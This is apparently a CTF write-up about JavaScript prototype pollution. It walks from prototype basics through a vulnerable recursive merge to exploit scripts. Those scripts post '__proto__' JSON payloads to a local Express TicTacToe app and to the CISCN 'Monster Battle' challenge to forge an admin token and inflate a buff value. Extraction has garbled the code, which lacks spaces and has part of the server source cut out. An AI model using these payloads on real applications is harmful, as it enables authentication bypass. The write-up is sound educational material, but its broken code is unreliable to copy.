In 2020ciscn final .We meet an easy js prototype pollution attack question named “Final-Monster Battle”.In my fault,it makes me angur.I understand if you want learn some thing well you need practice it.practice make perfect!
1. Basic- prototype
In javascript we can alse create a class
1 2 3 4 5
functionPersion() { this.age = 18 }
newPersion()
age is an attribute of class Persion.You can use .age or ['age'] get it,for example
1 2 3 4 5 6
functionPersion() { this.age = 18 } let girl=newPersion() console.log(girl.age); console.log(girl['age']);
we can alse use prototype or __proto__ to define a function.
1 2 3 4 5 6 7 8 9
functionPersion() { this.age = 18 }
Persion.prototype.girlsing=functionsing(){ console.log("miao miao miao") } let girl=newPersion() girl.girlsing()
prototype is an attribute of class,and __proto__ is an attribute of obj.
1 2 3 4 5 6 7 8 9 10
functionPersion() { this.age = 18 } let girl=newPersion()
girl.__proto__.girlsing=functionsing(){ console.log("miao miao miao") } let boy=newPersion() girl.girlsing()
as same girl.__proto__ == Persion.prototype
2. Prototype Pollution
we can learn prototype pollution from an example
1 2 3 4 5 6 7 8 9 10
functionPersion() { this.age = 18 } let girl=newPersion() let boy=newPersion() girl.__proto__.girlsing=functionsing(){ console.log("miao miao miao") } boy.girlsing() //output:miao miao miao
we can learn ,when girl obj got girlsing func,other obj which creat by Persion class all have this func.i mean this is a easy prototype pollution.(pollution process can after ceate an obj process)
2.1. some env cause prototype pollution
In js can use ['attr'] get attribute of obj.
2.1.1. easy env
x[param1][param2] = param3; we can contrl an obj’ attr and value. we can transmit param1=__proto__,param2={we want attr},param3={we want value} (a tips:we can only pollute attribute which this obj don’t define.Because there have both attr, the default is to find their own properties and then recurs upward) or x[param1]= param2;,we can transmit param1=__proto__,param2={{key:value}}
1 2 3 4 5 6 7 8
let a=[] let b = [] x1='__proto__' x2='bar' x3=2 a[x1][x2] = x3 console.log(b.bar) // output 2
2.1.2. complex env
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
functionmerge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b)
o3 = {} console.log(o3.b)
output
1 2
12 undefined
so we fail.because in let o2 = {a: 1, "__proto__": {b: 2}},we just let o2.b==2 when merge.so we need change JSON
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
functionmerge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b)
const express = require('express') var hbs = require('hbs'); var bodyParser = require('body-parser'); const md5 = require('md5'); var morganBody = require('morgan-body'); const app = express(); var user = []; //empty for now
var matrix = []; for (var i = 0; i < 3; i++){ matrix[i] = [null , null, null]; }
functiondraw(mat) { var count = 0; for (var i = 0; i < 3; i++){ for (var j = 0; j < 3; j++){ if (matrix[i][j] !== null){ count += 1; } } } return count === 9; }
}) app.listen(3000, () => { console.log('app listening on port 3000!') })
run
1 2 3 4
npm install md5 npm install morgan-body node app.js //console app listening on port 3000!
In line 64 matrix[client.row][client.col] = client.data;.we fine an easy env of prototype_pollution. this is a TicTacToe Game. In the end ,we need let md5(user.admintoken) === req.query.querytoken)and querytoken is our transmit for query,but admintoken we can’t konw,but we can use prototype pollution,we can find var client = req.body;,some client.row,client.col and client.data we can control.so we just need post 'row':'__proto__','col':'admintoken','data':'qqq',then transmit md5(qqq),we can got flag exp
1 2 3 4 5
import requests import hashlib r = requests.post('http://localhost:3000/api',json={'row':'__proto__','col':'admintoken','data':'qqq'}) r = requests.get('http://localhost:3000/admin?querytoken=' + hashlib.md5(b'qqq').hexdigest()) print(r.text)
player[i] = tempPlayer[i] ,we can prototype pollution,for exampleplay['__proto__']='{"x":1}',so we need find which value we can pollute.In line 47 getPlayerDamageValue function
if player.item==BYZF, player.buff will redefine player.aggressivity * 0.3;so we con’t let player.item equal to BYZF(in fact,if we let round bigger then 2 is as same) so exp(tis:requests default wiil redirect if you dont want it,you need add ,allow_redirects=False)
1 2 3
import requests r = requests.post('http://localhost:8080/start',json={"name":1, "round_to_use":2, "career":"high_priest", "item":"BYZF","__proto__":{"buff":10000}}) print(r.text)